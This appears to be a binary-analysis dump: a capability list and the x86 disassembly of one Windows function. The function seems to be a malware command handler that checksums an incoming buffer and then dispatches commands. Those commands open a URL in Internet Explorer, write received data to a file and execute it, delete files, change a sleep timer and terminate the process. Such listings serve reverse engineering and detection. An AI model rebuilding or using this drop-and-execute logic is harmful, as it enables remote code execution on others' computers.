Function at 0x10007859
Capabilities:
Create process on windows
Delete file
Terminate process
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0
je 0x10007874
cmp dword [ebp + 0xc], 3
jae 0x1000787b
xor eax, eax
jmp 0x10007e99
push 4
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp + 8]
lea eax, [ecx + eax - 4]
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.100071bb
add esp, 0xc
call fcn.10007f03
mov eax, dword [ebp + 0xc]
sub eax, 4
push eax
push dword [ebp + 8]
call fcn.10007ea0
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, dword [ebp - 0xc]
je 0x100078bc
xor eax, eax
jmp 0x10007e99
cmp dword [ebp + 8], 0
je 0x10007e88
mov eax, dword [ebp + 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
and dword [ebp - 0x434], 0
jmp 0x100078f2
mov eax, dword [ebp - 0x434]
inc eax
mov dword [ebp - 0x434], eax
mov eax, dword [ebp - 0x434]
cmp eax, dword [ebp - 0x14]
jae 0x10007e6f
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x43c], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x43c]
mov dword [ebp - 0x440], eax
cmp dword [ebp - 0x440], 1
je 0x1000797c
cmp dword [ebp - 0x440], 2
je 0x100079fe
cmp dword [ebp - 0x440], 3
je 0x10007b6c
cmp dword [ebp - 0x440], 4
je 0x10007cc5
cmp dword [ebp - 0x440], 5
je 0x10007db4
cmp dword [ebp - 0x440], 6
je 0x10007dce
cmp dword [ebp - 0x440], 8
je 0x10007ddb
jmp 0x10007e6a
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x100079ae
jmp 0x10007e97
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.100071bb
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
and byte [eax], 0
push 5
push 0
push 0
push dword [ebp - 8]
push str.iexplore
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
jmp 0x10007e6a
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007a42
jmp 0x10007e95
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.100071bb
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push 0x1000ad6c
lea eax, [ebp - 0x428]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.100075b1
pop ecx
pop ecx
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffff
je 0x10007b4a
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jne 0x10007b30
push 5
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x20
ja 0x10007b1b
mov eax, dword [ebp - 0x438]
add eax, 0x4e20
push eax
call fcn.100075a7
pop ecx
jmp 0x10007b2e
push 0x1388
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x10007b48
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4e20
call fcn.100075a7
pop ecx
jmp 0x10007b55
push 0x4e21
call fcn.100075a7
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007e6a
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007bb0
jmp 0x10007e93
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.100071bb
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push 0x1000ad70
lea eax, [ebp - 0x428]
push eax
call sub.MSVCRT.dll_strcpy
pop ecx
pop ecx
push 1
lea eax, [ebp - 0x428]
push eax
call fcn.100075b1
pop ecx
pop ecx
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 0xffffffff
je 0x10007ca3
push 0
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 0x10]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x430]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 0x28]
cmp ecx, dword [eax]
jne 0x10007c89
push 5
push 0
push 0
lea eax, [ebp - 0x428]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x438], eax
cmp dword [ebp - 0x438], 0x20
ja 0x10007c87
mov eax, dword [ebp - 0x438]
add eax, 0x4e20
push eax
call fcn.100075a7
pop ecx
jmp 0x10007ca1
lea eax, [ebp - 0x428]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4e20
call fcn.100075a7
pop ecx
jmp 0x10007cae
push 0x4e21
call fcn.100075a7
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007e6a
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 0x20], 0
jle 0x10007d20
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x10007cfd
jmp 0x10007e91
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 8]
call fcn.100071bb
add esp, 0xc
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0x20]
and byte [eax], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x20]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007d52
jmp 0x10007e8f
push dword [ebp - 0x20]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.100071bb
add esp, 0xc
mov eax, dword [ebp - 0x10]
add eax, dword [ebp - 0x20]
and byte [eax], 0
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
push 1
push dword [ebp - 8]
push dword [ebp - 0x10]
call fcn.1000863b
add esp, 0xc
cmp dword [ebp - 0x20], 0
je 0x10007d9d
push dword [ebp - 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x10007e6a
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
imul eax, eax, 0x3c
mov dword [0x1000a7a8], eax
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
jmp 0x10007e6a
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 4]
mov dword [ebp - 0x42c], eax
mov eax, dword [ebp - 4]
add eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
inc eax
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x10007e1c
jmp 0x10007e8d
mov eax, dword [ebp - 0x42c]
push dword [eax]
push dword [ebp - 4]
push dword [ebp - 0x10]
call fcn.100071bb
add esp, 0xc
mov eax, dword [ebp - 0x42c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x10]
and byte [ecx + eax], 0
mov eax, dword [ebp - 0x42c]
mov ecx, dword [ebp - 4]
add ecx, dword [eax]
mov dword [ebp - 4], ecx
push dword [ebp - 0x10]
call fcn.10003664
pop ecx
push dword [ebp - 0x10]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
jmp 0x100078e5
mov dword [ebp - 0x18], 1
push dword [ebp + 8]
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 1
pop eax
jmp 0x10007e99
jmp 0x10007e88
jmp 0x10007e88
jmp 0x10007e88
jmp 0x10007e88
jmp 0x10007e88
jmp 0x10007e88
leave
ret